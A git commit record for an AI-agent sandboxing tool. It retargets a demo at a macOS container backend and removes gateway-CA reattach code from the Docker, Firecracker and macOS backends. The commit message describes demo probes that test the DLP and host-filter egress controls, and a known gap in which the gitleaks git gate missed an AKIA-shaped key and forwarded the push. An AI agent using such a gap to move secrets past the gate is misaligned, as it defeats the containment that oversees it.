fix: retarget the demo at macos-container and re-record

The Docker backend cannot launch a bottle on this host: the orchestrator publishes 127.0.0.1:8099 but is attached only to the `--internal` control network, so Docker accepts the mapping and never establishes the forward (PortBindings set, NetworkSettings.Ports empty). Every launch dies on `orchestrator did not become healthy`. That is independent of the demo and left alone here, because fixing it means touching the L3 isolation the control network exists to provide. Pin the tape to macos-container, which launches cleanly, and drop the Docker daemon check and image pre-warm from setup. The pre-warm is not replaced with a `container build` equivalent: build_image() applies --dns handling that would become a second, drifting copy in shell, and the warm layer cache already keeps rebuilds fast. Pre-warm never kept BuildKit off camera anyway — the launcher prints CACHED lines regardless, so that comment was wrong when it was written. Launch via --headless. The interactive path opens four selectors in a row and the tape drove none of them; it also lists every bottle in ~/.bot-bottle/bottles/, putting the operator's own bottle names in a GIF that ships in the README. --headless is one-shot by construction (`claude -p`), so all probes ride in on a single --prompt rather than being typed as follow-ups into a session that has already exited. Spell the probes as literal shell commands. Left in English, one take had the agent substitute a placeholder for $FAKE_TOKEN: the DLP scanner had nothing to match and gitleaks found nothing to flag, so both controls reported a clean pass without ever being exercised. Neither curl discards the body, so the recording shows the host-filter refusal and the DLP refusal as visibly different reasons instead of two identical 403s. Drop the git/gitleaks probe. In the last run carrying it, gitleaks reported `no leaks found` on an AKIA-shaped key and the gate forwarded the push, which failed only because upstream.invalid does not resolve. A recording of that reads as the gate catching a secret while showing the opposite. Tracked in #541. Refs #540 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
fix: make demo setup/teardown idempotent and guard on PATH
2026-07-27 23:40:46 -04:00 · 2026-07-27 22:08:22 -04:00 · 2026-07-27 22:03:48 -04:00 · 2026-07-27 12:35:51 -04:00 · 2026-07-27 12:24:31 -04:00 · 2026-07-27 12:24:31 -04:00
58 changed files with 1476 additions and 1175 deletions
@@ -21,7 +21,7 @@ from abc import ABC, abstractmethod
 from contextlib import AbstractContextManager, contextmanager
 from dataclasses import dataclass
 from pathlib import Path
-from typing import TYPE_CHECKING, Generator, Generic, Sequence, TypeVar
+from typing import Generator, Generic, Sequence, TypeVar
 from ..agent_provider import AgentProvisionPlan, get_provider
 from ..egress import EgressPlan
@@ -35,9 +35,6 @@ from ..workspace import WorkspacePlan, workspace_plan
 from .print_util import print_multi, visible_agent_env_names
 from .util import host_skill_dir
 if TYPE_CHECKING:
    from .gateway_attach import GatewayAttachResources
 class BackendStatus(enum.IntEnum):
    """Return codes for BottleBackend.status(). READY == 0 so callsites
@@ -273,17 +270,6 @@ class Bottle(ABC):
 PlanT = TypeVar("PlanT", bound=BottlePlan)
 CleanupT = TypeVar("CleanupT", bound=BottleCleanupPlan)
 # The backend-specific handle for one running bottle the reconcile attaches to
 # the gateway (a run dir for firecracker, a container name for docker/macOS).
 # Registry-style callers that don't care about the handle bind it to `Any`
 # (`BottleBackend[Any, Any, Any]`).
 AttachTargetT = TypeVar("AttachTargetT")
 class InfraLaunchError(RuntimeError):
    """A per-host infra (gateway + orchestrator) launch/reconcile step could not
    complete. Shared across backends so the base backend can raise + catch one
    type; each backend's ``infra_launch`` module re-exports it."""
@dataclass(frozen=True)
@@ -298,7 +284,7 @@ class BottleImages:
    sidecar: str | Path = ""
-class BottleBackend(ABC, Generic[PlanT, CleanupT, AttachTargetT]):
+class BottleBackend(ABC, Generic[PlanT, CleanupT]):
    """Abstract base for selectable bottle backends. Concrete subclasses
    (e.g. DockerBottleBackend) own their own prepare/launch impls.
    Parameterized over the backend's concrete plan + cleanup-plan types
@@ -526,31 +512,6 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT, AttachTargetT]):
        compose ls`; firecracker cross-references its running gateway
        containers against per-bottle metadata."""
    def attach_bottled_agents_to_gateway(self) -> None:
        """Reconcile every running bottle against the freshly-(re)booted gateway
        on the cold-boot bring-up path (PRD 0081). The shared flow + fail-hard
        policy live in `gateway_attach`; backends override only the three
        primitives below (ADR 0006)."""
        from .gateway_attach import reconcile_running_bottles
        reconcile_running_bottles(self)
    @abstractmethod
    def _gateway_attach_resources(self) -> "GatewayAttachResources":
        """Gather what every bottle needs to (re)attach to the current gateway
        (the CA now). Raises if the gateway isn't reachable (aborts reconcile)."""
    @abstractmethod
    def _running_bottles(self) -> Sequence[AttachTargetT]:
        """The live bottles as backend handles for `_attach_bottle_to_gateway`.
        Raises if the live set can't be determined (fail hard, no partial set)."""
    @abstractmethod
    def _attach_bottle_to_gateway(
        self, bottle: AttachTargetT, resources: "GatewayAttachResources",
    ) -> None:
        """(Re)attach one bottle to the current gateway (SSH / `exec`+`cp`).
        Raises `InfraLaunchError` naming the bottle on failure."""
    @classmethod
    @abstractmethod
    def is_available(cls) -> bool:
@@ -23,7 +23,7 @@ import shutil
 import io
 from contextlib import contextmanager, redirect_stderr
 from pathlib import Path
-from typing import TYPE_CHECKING, Generator, Sequence
+from typing import Generator, Sequence
 from ...supervisor.types import SUPERVISE_HOSTNAME, SUPERVISE_PORT
 from ...agent_provider import AgentProvisionPlan
@@ -33,7 +33,6 @@ from ...git_gate import GitGatePlan
 from ...supervisor.plan import SupervisePlan
 from ...manifest import Manifest
 from .. import ActiveAgent, BottleBackend, BottleImages, BottleSpec
 from ..gateway_attach import GatewayAttachResources
 from . import cleanup as _cleanup
 from . import enumerate as _enumerate
 from . import launch as _launch
@@ -41,27 +40,12 @@ from . import resolve_plan as _resolve_plan
 from .bottle import DockerBottle
 from .bottle_cleanup_plan import DockerBottleCleanupPlan
 from .bottle_plan import DockerBottlePlan
-
+class DockerBottleBackend(BottleBackend["DockerBottlePlan", "DockerBottleCleanupPlan"]):
 if TYPE_CHECKING:
    from .infra import DockerInfraService
 class DockerBottleBackend(BottleBackend["DockerBottlePlan", "DockerBottleCleanupPlan", str]):
    """Docker backend implementation. Selected by BOT_BOTTLE_BACKEND
    when set to `docker`; retained as a legacy/example backend."""
    name = "docker"
    def __init__(self, *, infra: "DockerInfraService | None" = None) -> None:
        # The infra service whose gateway just cold-booted, passed in on the
        # bring-up reconcile path (PRD 0081) so `_gateway_attach_resources`
        # reads THAT gateway's CA rather than a fresh default-named service —
        # otherwise a non-default instance (an isolated integration test's
        # `-itest-` gateway) reads the default `bot-bottle-orch-gateway`, which
        # doesn't exist for it (#519 review). None for ordinary construction:
        # falls back to the per-host default singleton.
        self._infra = infra
    @classmethod
    def is_available(cls) -> bool:
        """`docker` on PATH is sufficient; we don't probe `docker info`
@@ -156,22 +140,3 @@ class DockerBottleBackend(BottleBackend["DockerBottlePlan", "DockerBottleCleanup
    def enumerate_active(self) -> Sequence[ActiveAgent]:
        return _enumerate.enumerate_active()
    def _gateway_attach_resources(self) -> GatewayAttachResources:
        from .infra import DockerInfraService
        infra = self._infra if self._infra is not None else DockerInfraService()
        return GatewayAttachResources(ca_pem=infra.gateway().ca_cert_pem())
    def _running_bottles(self) -> Sequence[str]:
        from .infra import DockerInfraService
        from .infra_launch import running_agent_containers
        infra = self._infra if self._infra is not None else DockerInfraService()
        return running_agent_containers(
            network=infra.network, gateway_name=infra.gateway().name,
        )
    def _attach_bottle_to_gateway(
        self, bottle: str, resources: GatewayAttachResources,
    ) -> None:
        from .infra_launch import push_ca_to_container
        push_ca_to_container(bottle, resources.ca_pem)
@@ -13,7 +13,6 @@ orchestrator-facing wiring so that sequence stays testable in isolation.
 from __future__ import annotations
 import tempfile
 from dataclasses import dataclass
 from ... import log
@@ -25,13 +24,15 @@ from ...gateway import GATEWAY_NETWORK
 from .infra import INFRA_NAME, DockerInfraService
 from ...orchestrator.store.secret_store import ENV_VAR_SECRET_NAME
 from ...orchestrator.reprovision import reprovision_bottles
 from ..base import InfraLaunchError
 from ..provision_bottle import deprovision_bottle, provision_bottle
 from ..util import AGENT_CA_PATH
 from .gateway_transport import DockerGatewayTransport
 from .gateway_net import next_free_ip
 class ConsolidatedLaunchError(RuntimeError):
    """The consolidated register/provision sequence could not complete."""
@dataclass(frozen=True)
 class LaunchContext:
    """What the agent container needs to join the shared gateway."""
@@ -53,7 +54,7 @@ def _network_cidr(network: str) -> str:
    ])
    cidr = proc.stdout.strip()
    if proc.returncode != 0 or not cidr:
-        raise InfraLaunchError(
+        raise ConsolidatedLaunchError(
            f"gateway network {network} has no subnet: {proc.stderr.strip()}"
        )
    return cidr
@@ -69,7 +70,7 @@ def _network_container_ips(network: str) -> list[str]:
    ])
    if proc.returncode != 0:
        detail = proc.stderr.strip() or f"exit {proc.returncode}"
-        raise InfraLaunchError(
+        raise ConsolidatedLaunchError(
            f"could not inspect addresses on gateway network {network}: {detail}"
        )
    ips: list[str] = []
@@ -78,64 +79,6 @@ def _network_container_ips(network: str) -> list[str]:
    return ips
 def running_agent_containers(
    network: str = GATEWAY_NETWORK, gateway_name: str = INFRA_NAME,
 ) -> list[str]:
    """Every running agent container on the gateway `network` (the gateway
    itself excluded) — the bottles the bring-up reconcile attaches to the fresh
    gateway (PRD 0081). Raises `OSError` if `docker` can't be run (fail hard: a
    reconcile that can't list its bottles must not look like "no bottles")."""
    proc = run_docker([
        "docker", "network", "inspect", "--format",
        "{{range .Containers}}{{.Name}}\n{{end}}", network,
    ])
    if proc.returncode != 0:
        detail = proc.stderr.strip() or f"exit {proc.returncode}"
        raise InfraLaunchError(
            f"could not enumerate bottles on gateway network {network}: {detail}"
        )
    return [
        name for name in (line.strip() for line in proc.stdout.splitlines())
        if name and name != gateway_name
    ]
 def push_ca_to_container(container: str, ca_pem: str) -> None:
    """(Re)attach one running agent container to the current gateway: replace
    its trusted gateway CA with `ca_pem` and rebuild its trust store via
    `docker cp` + `docker exec` (PRD 0081). Unconditional install — there is one
    gateway, so no fingerprint match is needed.
    Fail hard: raises `InfraLaunchError` (naming the container) on any failure —
    the base reconcile aggregates and surfaces it rather than leaving the agent
    silently unable to reach the gateway."""
    mkdir = run_docker(
        ["docker", "exec", container, "mkdir", "-p",
         "/usr/local/share/ca-certificates"]
    )
    if mkdir.returncode != 0:
        raise InfraLaunchError(
            f"CA push to {container} failed (mkdir): {mkdir.stderr.strip()}"
        )
    with tempfile.NamedTemporaryFile("w", suffix=".crt") as tmp:
        tmp.write(ca_pem)
        tmp.flush()
        cp = run_docker(["docker", "cp", tmp.name, f"{container}:{AGENT_CA_PATH}"])
    if cp.returncode != 0:
        raise InfraLaunchError(
            f"CA push to {container} failed (cp): {cp.stderr.strip()}"
        )
    ex = run_docker(
        ["docker", "exec", container, "sh", "-c",
         f"chmod 644 {AGENT_CA_PATH} && update-ca-certificates"]
    )
    if ex.returncode != 0:
        raise InfraLaunchError(
            f"CA push to {container} failed (update-ca-certificates): "
            f"{ex.stderr.strip()}"
        )
 def _reprovision_running_bottles(
    orchestrator_url: str,
    network: str = GATEWAY_NETWORK,
@@ -242,8 +185,6 @@ def deprovision_consolidated(
 __all__ = [
    "LaunchContext",
    "launch_consolidated",
    "running_agent_containers",
    "push_ca_to_container",
    "deprovision_consolidated",
-    "InfraLaunchError",
+    "ConsolidatedLaunchError",
 ]
@@ -200,7 +200,7 @@ class DockerGateway(Gateway):
                f"gateway network {self.network} failed to create: {proc.stderr.strip()}"
            )
-    def connect_to_orchestrator(self, orchestrator_url: str, gateway_token: str) -> bool:
+    def connect_to_orchestrator(self, orchestrator_url: str, gateway_token: str) -> None:
        # Bind to this orchestrator (PRD 0070): stash the URL its daemons resolve
        # policy against + the pre-minted `gateway` token they present, then bring
        # the container up. The gateway never mints, so it holds no signing key —
@@ -227,7 +227,7 @@ class DockerGateway(Gateway):
        # just when the container is absent.
        self._ensure_network()
        if self.is_running() and self._running_image_is_current():
-            return False
+            return
        # Clear any stale (stopped OR outdated-image) container holding the
        # fixed name, then start fresh. `rm --force` on an absent name is a
        # tolerated no-op.
@@ -271,9 +271,6 @@ class DockerGateway(Gateway):
        # pre-connect window (they retry /resolve per request).
        if self._control_network:
            self._connect_control_network()
        # (Re)created a fresh container — signal a cold boot so the caller
        # reconciles running bottles against it (PRD 0081).
        return True
    def _connect_control_network(self) -> None:
        """Ensure the `--internal` control network exists and attach the gateway
@@ -142,16 +142,9 @@ class DockerInfraService(InfraService):
        # mints the role-scoped `gateway` JWT here and hands it to the gateway,
        # which never sees the key (#469). `connect_to_orchestrator` is
        # idempotent.
-        cold_booted = gateway.connect_to_orchestrator(
+        gateway.connect_to_orchestrator(
            orchestrator.gateway_url(), orchestrator.mint_gateway_token(),
        )
        # A (re)created gateway container minted/mounted its CA afresh and lost
        # every bottle's per-bottle state; reconcile the already-running bottles
        # against it (PRD 0081). Skipped when a healthy current gateway was left
        # untouched — no cold boot, nothing to reconcile.
        if cold_booted:
            from .backend import DockerBottleBackend
            DockerBottleBackend(infra=self).attach_bottled_agents_to_gateway()
        return orchestrator.url()
    def stop(self) -> None:
@@ -61,7 +61,7 @@ from .compose import (
 )
 from .consolidated_compose import consolidated_agent_compose
 from ...orchestrator.store.config_store import resolve_teardown_timeout
-from .infra_launch import launch_consolidated, deprovision_consolidated
+from .consolidated_launch import launch_consolidated, deprovision_consolidated
 from .infra import INFRA_NAME
 from .gateway import DockerGateway
 from ... import resources
@@ -20,7 +20,6 @@ from ...git_gate import GitGatePlan
 from ...manifest import Manifest
 from ...supervisor.plan import SupervisePlan
 from .. import ActiveAgent, BottleBackend, BottleImages, BottleSpec
 from ..gateway_attach import GatewayAttachResources
 from . import cleanup as _cleanup
 from . import enumerate as _enumerate
 from . import launch as _launch
@@ -32,7 +31,7 @@ from .bottle_plan import FirecrackerBottlePlan
 class FirecrackerBottleBackend(
-    BottleBackend["FirecrackerBottlePlan", "FirecrackerBottleCleanupPlan", "Path"]
+    BottleBackend["FirecrackerBottlePlan", "FirecrackerBottleCleanupPlan"]
 ):
    name = "firecracker"
@@ -120,19 +119,6 @@ class FirecrackerBottleBackend(
    def enumerate_active(self) -> Sequence[ActiveAgent]:
        return _enumerate.enumerate_active()
    def _gateway_attach_resources(self) -> GatewayAttachResources:
        from .gateway import FirecrackerGateway
        return GatewayAttachResources(ca_pem=FirecrackerGateway().ca_cert_pem())
    def _running_bottles(self) -> Sequence[Path]:
        return _cleanup.live_run_dirs()
    def _attach_bottle_to_gateway(
        self, bottle: Path, resources: GatewayAttachResources,
    ) -> None:
        from .infra_launch import attach_ca_to_agent_vm
        attach_ca_to_agent_vm(bottle, resources.ca_pem)
    def supervise_mcp_url(self, plan: FirecrackerBottlePlan) -> str:
        return plan.agent_supervise_url
@@ -40,9 +40,7 @@ from ...orchestrator.lifecycle import (
 )
 from ...orchestrator.reprovision import reprovision_bottles
 from ...orchestrator.store.secret_store import ENV_VAR_SECRET_NAME
 from ..base import InfraLaunchError
 from ..provision_bottle import deprovision_bottle, provision_bottle
 from ..util import AGENT_CA_PATH
 from . import cleanup, util
 from .gateway import FirecrackerGateway
 from .infra import FirecrackerInfraService
@@ -50,6 +48,10 @@ from .infra import FirecrackerInfraService
 _ENV_VAR_SECRET_PATH = "/run/bot-bottle/env-var-secret"
 class ConsolidatedLaunchError(RuntimeError):
    """The consolidated register/provision sequence could not complete."""
@dataclass(frozen=True)
 class LaunchContext:
    """What the Firecracker launch needs from the consolidated sequence."""
@@ -81,48 +83,12 @@ def persist_env_var_secret(private_key: Path, guest_ip: str, secret: str) -> Non
        input=secret, capture_output=True, text=True, check=False,
    )
    if proc.returncode != 0:
-        raise InfraLaunchError(
+        raise ConsolidatedLaunchError(
            f"failed to persist {ENV_VAR_SECRET_NAME} in agent VM: "
            f"{proc.stderr.strip() or '<no stderr>'}"
        )
 def attach_ca_to_agent_vm(run_dir: Path, ca_pem: str) -> None:
    """(Re)attach one running agent VM (identified by its `run_dir`) to the
    current gateway: replace its trusted gateway CA with `ca_pem` and rebuild
    its trust store over SSH (PRD 0081). Unconditional install — there is one
    gateway, so no fingerprint match is needed. Bare-pipe input keeps the cert
    off argv.
    Fail hard: raises `InfraLaunchError` (naming the bottle) if the run dir is
    malformed or the push fails — the base reconcile aggregates and surfaces it
    rather than leaving the agent silently unable to reach the gateway."""
    guest_ip = _guest_ip_from_config(run_dir / "config.json")
    private_key = run_dir / "bottle_id_ed25519"
    if not guest_ip or not private_key.is_file():
        raise InfraLaunchError(
            f"{run_dir.name}: cannot resolve guest IP / SSH key to attach it "
            f"to the gateway"
        )
    install = (
        "umask 022; mkdir -p /usr/local/share/ca-certificates && "
        f"cat > {AGENT_CA_PATH} && chmod 644 {AGENT_CA_PATH} && "
        "update-ca-certificates"
    )
    try:
        proc = subprocess.run(
            util.ssh_base_argv(private_key, guest_ip) + [install],
            input=ca_pem, capture_output=True, text=True, check=False,
        )
    except OSError as exc:
        raise InfraLaunchError(f"{run_dir.name} ({guest_ip}): CA push failed: {exc}") from exc
    if proc.returncode != 0:
        raise InfraLaunchError(
            f"{run_dir.name} ({guest_ip}): CA push failed: "
            f"{proc.stderr.strip() or '<no stderr>'}"
        )
 def _reprovision_running_bottles(client: OrchestratorClient) -> None:
    """Read keys from live agent VMs and restore the restarted gateway."""
    try:
@@ -195,8 +161,7 @@ def deprovision_consolidated(
 __all__ = [
    "LaunchContext",
    "launch_consolidated",
    "attach_ca_to_agent_vm",
    "deprovision_consolidated",
-    "InfraLaunchError",
+    "ConsolidatedLaunchError",
    "OrchestratorStartError",
 ]
@@ -69,17 +69,13 @@ class FirecrackerGateway(Gateway):
        self._orchestrator_url = ""
        self._gateway_token = ""
-    def connect_to_orchestrator(self, orchestrator_url: str, gateway_token: str) -> bool:
+    def connect_to_orchestrator(self, orchestrator_url: str, gateway_token: str) -> None:
        """Boot the gateway VM on its link resolving policy against
        `orchestrator_url`, then seed `gateway_token` over SSH. The orchestrator's
        guest IP is parsed from the URL and passed on the cmdline (`bb_orch=`), so
        the baked init stays IP-independent. Boot the orchestrator first — the
        gateway daemons reach it at startup. The gateway never mints, so it holds
-        no signing key, only this token (#469).
+        no signing key, only this token (#469)."""
        Always returns True: the firecracker gateway VM is booted fresh here
        (this runs only on the infra cold-boot path), so it is always a cold
        boot that minted a new CA — the caller reconciles running bottles."""
        self._orchestrator_url = orchestrator_url
        self._gateway_token = gateway_token
        if not self._orchestrator_url:
@@ -109,7 +105,6 @@ class FirecrackerGateway(Gateway):
            "the gateway JWT to the gateway VM (its data plane will not start)",
        )
        self._vm = vm
        return True
    def is_running(self) -> bool:
        return infra_vm._pidfile_alive(infra_vm._gw_dir())
@@ -67,17 +67,9 @@ class FirecrackerInfraService(InfraService):
            # holds the signing key) mints the role-scoped `gateway` JWT for the
            # gateway, which never sees the key (#469).
            orchestrator.ensure_running(startup_timeout=startup_timeout)
-            cold_booted = self.gateway().connect_to_orchestrator(
+            self.gateway().connect_to_orchestrator(
                orchestrator.gateway_url(), orchestrator.mint_gateway_token())
            infra_vm.record_booted_version(want)
            # The fresh gateway rootfs minted a new CA and lost every bottle's
            # git-gate/token state; reconcile the already-running bottles against
            # it so a gateway rebuild doesn't silently break their egress
            # (PRD 0081). Cold-boot only — the adopt fast-paths above never reach
            # here, so a healthy current gateway is left untouched.
            if cold_booted:
                from .backend import FirecrackerBottleBackend
                FirecrackerBottleBackend().attach_bottled_agents_to_gateway()
            return url
    def stop(self) -> None:
@@ -51,7 +51,7 @@ from .bottle import FirecrackerBottle
 from .bottle_plan import FirecrackerBottlePlan
 from ...orchestrator.store.config_store import resolve_teardown_timeout
 from ...orchestrator.store.secret_store import ENV_VAR_SECRET_NAME
-from .infra_launch import (
+from .consolidated_launch import (
    launch_consolidated,
    persist_env_var_secret,
    deprovision_consolidated,
@@ -20,6 +20,7 @@ import subprocess
 import sys
 from pathlib import Path
 from ... import invocation
 from ... import resources
 from . import netpool
 from . import util
@@ -179,9 +180,11 @@ def _setup_systemd() -> None:
        f"sudo systemctl daemon-reload\n"
        f"sudo systemctl enable --now {netpool.SYSTEMD_UNIT}\n"
    )
    # Absolute path, not `sudo bot-bottle`: sudo's secure_path drops
    # ~/.local/bin, where both pipx and install.sh put the entry point.
    sys.stderr.write(
-        f"\n(Or re-run this as root to install it directly: "
+        f"\n(Or re-run this as root to install it directly:\n"
-        f"sudo bot-bottle backend setup --backend=firecracker)\n"
+        f"    {invocation.sudo_command('backend', 'setup', '--backend=firecracker')})\n"
    )
@@ -1,54 +0,0 @@
 """The shared gateway-attach reconcile flow (PRD 0081).
 `BottleBackend.attach_bottled_agents_to_gateway()` delegates here so every
 backend reconciles running bottles against a freshly-booted gateway *the same
 way* — the control flow + fail-hard policy live in one place and backends
 override only the primitives (see ADR 0006). Kept out of `backend/base.py` so
 the backend contract module stays lean (the base.py size guardrail).
 """
 from __future__ import annotations
 from dataclasses import dataclass
 from typing import TYPE_CHECKING, Any
 from .base import InfraLaunchError
 if TYPE_CHECKING:
    from .base import BottleBackend
@dataclass(frozen=True)
 class GatewayAttachResources:
    """Everything a running bottle needs to (re)attach to the current gateway on
    a cold boot (PRD 0081). Gathered once per reconcile and handed to every
    bottle. The CA now; egress secrets and git-gate state join as the reconcile
    grows (#516)."""
    ca_pem: str
 def reconcile_running_bottles(backend: "BottleBackend[Any, Any, Any]") -> None:
    """Reconcile every already-running bottle against the freshly-(re)booted
    gateway: gather the attach resources once, then attach every live bottle.
    Fail hard, never skip: a bottle that silently can't reach the fresh gateway
    (its egress just starts failing TLS) is worse than a loud bring-up failure,
    so any attach failure aborts bring-up. Every bottle is attempted first and
    the failures are raised together, so one bring-up surfaces the full blast
    radius rather than one bottle at a time."""
    resources = backend._gateway_attach_resources()
    failures: list[str] = []
    for bottle in backend._running_bottles():
        try:
            backend._attach_bottle_to_gateway(bottle, resources)
        except InfraLaunchError as exc:
            failures.append(str(exc))
    if failures:
        raise InfraLaunchError(
            f"could not attach {len(failures)} running bottle(s) to the "
            f"freshly-booted gateway:\n  " + "\n  ".join(failures)
        )
 __all__ = ["GatewayAttachResources", "reconcile_running_bottles"]
@@ -14,7 +14,6 @@ from ...git_gate import GitGatePlan
 from ...supervisor.plan import SupervisePlan
 from ...manifest import Manifest
 from .. import ActiveAgent, BottleBackend, BottleImages, BottleSpec
 from ..gateway_attach import GatewayAttachResources
 from . import cleanup as _cleanup
 from . import enumerate as _enumerate
 from . import launch as _launch
@@ -26,7 +25,7 @@ from .bottle_plan import MacosContainerBottlePlan
 class MacosContainerBottleBackend(
-    BottleBackend["MacosContainerBottlePlan", "MacosContainerBottleCleanupPlan", str]
+    BottleBackend["MacosContainerBottlePlan", "MacosContainerBottleCleanupPlan"]
 ):
    """Apple Container backend. Selected by
    `BOT_BOTTLE_BACKEND=macos-container` or
@@ -118,19 +117,5 @@ class MacosContainerBottleBackend(
    def enumerate_active(self) -> Sequence[ActiveAgent]:
        return _enumerate.enumerate_active()
    def _gateway_attach_resources(self) -> GatewayAttachResources:
        from .infra import MacosInfraService
        return GatewayAttachResources(ca_pem=MacosInfraService().ca_cert_pem())
    def _running_bottles(self) -> Sequence[str]:
        from .infra_launch import running_agent_containers
        return running_agent_containers()
    def _attach_bottle_to_gateway(
        self, bottle: str, resources: GatewayAttachResources,
    ) -> None:
        from .infra_launch import push_ca_to_container
        push_ca_to_container(bottle, resources.ca_pem)
    def supervise_mcp_url(self, plan: MacosContainerBottlePlan) -> str:
        return plan.agent_supervise_url
@@ -34,7 +34,6 @@ every real command arrives through `container exec`.
 from __future__ import annotations
 import tempfile
 from dataclasses import dataclass
 from ...egress import EgressPlan
@@ -43,9 +42,7 @@ from ...log import info
 from ...orchestrator.client import OrchestratorClient, OrchestratorClientError
 from ...orchestrator.reprovision import reprovision_bottles
 from ...orchestrator.store.secret_store import ENV_VAR_SECRET_NAME
 from ..base import InfraLaunchError
 from ..provision_bottle import deprovision_bottle, provision_bottle
 from ..util import AGENT_CA_PATH
 from . import util as container_mod
 from .enumerate import CONTAINER_NAME_PREFIX, EnumerationError, enumerate_active
 from .gateway import GATEWAY_NETWORK
@@ -53,6 +50,10 @@ from .gateway_transport import MacosGatewayTransport
 from .infra import MacosInfraService, OrchestratorStartError
 class ConsolidatedLaunchError(RuntimeError):
    """The consolidated register/provision sequence could not complete."""
@dataclass(frozen=True)
 class GatewayEndpoint:
    """What the agent `container run` needs to reach the shared gateway.
@@ -97,52 +98,6 @@ def ensure_gateway(
    return endpoint
 def running_agent_containers() -> list[str]:
    """Every running agent container's name — the bottles the bring-up reconcile
    attaches to the fresh gateway (PRD 0081). Raises `EnumerationError` if the
    live set can't be determined (fail hard rather than reconcile a partial
    set)."""
    return [f"{CONTAINER_NAME_PREFIX}{agent.slug}" for agent in enumerate_active()]
 def push_ca_to_container(name: str, ca_pem: str) -> None:
    """(Re)attach one running agent container to the current gateway: replace
    its trusted gateway CA with `ca_pem` and rebuild its trust store via
    `container cp` + `container exec` (PRD 0081). Unconditional install — there
    is one gateway, so no fingerprint match is needed.
    Fail hard: raises `InfraLaunchError` (naming the container) on any failure —
    the base reconcile aggregates and surfaces it rather than leaving the agent
    silently unable to reach the gateway."""
    mkdir = container_mod.run_container_argv(
        ["container", "exec", name, "mkdir", "-p",
         "/usr/local/share/ca-certificates"]
    )
    if mkdir.returncode != 0:
        raise InfraLaunchError(
            f"CA push to {name} failed (mkdir): {(mkdir.stderr or '').strip()}"
        )
    with tempfile.NamedTemporaryFile("w", suffix=".crt") as tmp:
        tmp.write(ca_pem)
        tmp.flush()
        cp = container_mod.run_container_argv(
            ["container", "cp", tmp.name, f"{name}:{AGENT_CA_PATH}"]
        )
    if cp.returncode != 0:
        raise InfraLaunchError(
            f"CA push to {name} failed (cp): {(cp.stderr or '').strip()}"
        )
    ex = container_mod.run_container_argv(
        ["container", "exec", name, "sh", "-c",
         f"chmod 644 {AGENT_CA_PATH} && update-ca-certificates"]
    )
    if ex.returncode != 0:
        raise InfraLaunchError(
            f"CA push to {name} failed (update-ca-certificates): "
            f"{(ex.stderr or '').strip()}"
        )
 def _reprovision_running_bottles(endpoint: GatewayEndpoint) -> None:
    """Recover keys from live Apple containers and restore gateway tokens."""
    try:
@@ -245,12 +200,10 @@ __all__ = [
    "GatewayEndpoint",
    "LaunchContext",
    "ensure_gateway",
    "running_agent_containers",
    "push_ca_to_container",
    "live_source_ips",
    "register_agent",
    "deprovision_consolidated",
-    "InfraLaunchError",
+    "ConsolidatedLaunchError",
    "OrchestratorStartError",
    "GATEWAY_NETWORK",
 ]
@@ -104,15 +104,11 @@ class MacosGateway(Gateway):
        container_mod.build_image(
            self.image_ref, str(self._repo_root), dockerfile="Dockerfile.gateway")
-    def connect_to_orchestrator(self, orchestrator_url: str, gateway_token: str) -> bool:
+    def connect_to_orchestrator(self, orchestrator_url: str, gateway_token: str) -> None:
        """Bind the gateway to this orchestrator and (re)start it, dual-homed on
        the agent + control networks, resolving policy against `orchestrator_url`
        (the orchestrator's control-network address — Apple has no container
-        DNS) and presenting `gateway_token`.
+        DNS) and presenting `gateway_token`."""
        Always returns True: this recreates the gateway container unconditionally
        (a cold boot), so the caller reconciles running bottles against it
        (PRD 0081)."""
        self._orchestrator_url = orchestrator_url
        self._gateway_token = gateway_token
        # Fail closed on a missing policy source or token: the resolver-only data
@@ -160,7 +156,6 @@ class MacosGateway(Gateway):
                f"gateway container failed to start: "
                f"{(result.stderr or '').strip() or '<no stderr>'}"
            )
        return True
    def is_running(self) -> bool:
        return container_mod.container_is_running(self.name)
@@ -138,15 +138,7 @@ class MacosInfraService(InfraService):
        # `gateway` JWT and hands it to the gateway, which never sees the key
        # (#469).
        url = orchestrator.url()
-        cold_booted = gateway.connect_to_orchestrator(
+        gateway.connect_to_orchestrator(url, orchestrator.mint_gateway_token())
            url, orchestrator.mint_gateway_token())
        # A (re)created gateway container minted/mounted its CA afresh and lost
        # every bottle's per-bottle state; reconcile the already-running bottles
        # against it (PRD 0081). Skipped when a healthy current gateway was left
        # untouched — no cold boot, nothing to reconcile.
        if cold_booted:
            from .backend import MacosContainerBottleBackend
            MacosContainerBottleBackend().attach_bottled_agents_to_gateway()
        return url
    def ca_cert_pem(self, *, timeout: float = DEFAULT_CA_TIMEOUT_SECONDS) -> str:
@@ -5,7 +5,7 @@ proxies egress through the one per-host gateway, replacing the per-bottle
 companion container removed in #385.
 The order differs from docker's, forced by Apple Container 1.0.0 having no
-`--ip` (see `infra_launch`): the agent is started *before* it is
+`--ip` (see `consolidated_launch`): the agent is started *before* it is
 registered, because its DHCP-assigned address — the attribution key — does not
 exist until then.
@@ -64,7 +64,7 @@ from . import nested_containers as nested_containers_mod
 from .bottle_plan import MacosContainerBottlePlan
 from ...orchestrator.store.config_store import resolve_teardown_timeout
 from ...orchestrator.store.secret_store import ENV_VAR_SECRET_NAME, new_env_var_secret
-from .infra_launch import (
+from .consolidated_launch import (
    GatewayEndpoint,
    ensure_gateway,
    register_agent,
@@ -2,7 +2,7 @@
 Register a bottle with the orchestrator and provision its git-gate state into
 the shared gateway (`provision_bottle`), and the inverse teardown
-(`deprovision_bottle`). Backend-neutral — each backend's infra_launch
+(`deprovision_bottle`). Backend-neutral — each backend's consolidated_launch
 drives these through its own `GatewayTransport` rather than re-implementing
 them. The git-gate half of the work lives in `provision_gateway`.
 """
@@ -26,10 +26,10 @@ from .base import ActiveAgent, BackendStatus, BottleBackend
 # Tests may replace _backends with a {name: fake} dict via patch.object;
 # _get_backends() returns the current module-level value as-is when it
 # is not None, so test fakes take effect without triggering real imports.
-_backends: dict[str, BottleBackend[Any, Any, Any]] | None = None
+_backends: dict[str, BottleBackend[Any, Any]] | None = None
-def _get_backends() -> dict[str, BottleBackend[Any, Any, Any]]:
+def _get_backends() -> dict[str, BottleBackend[Any, Any]]:
    """Return the registry of all backend instances, loading lazily on first call."""
    global _backends  # pylint: disable=global-statement
    if _backends is None:
@@ -48,7 +48,7 @@ def get_bottle_backend(
    name: str | None = None,
    *,
    prompt: bool = True,
-) -> BottleBackend[Any, Any, Any]:
+) -> BottleBackend[Any, Any]:
    """Resolve the bottle backend.
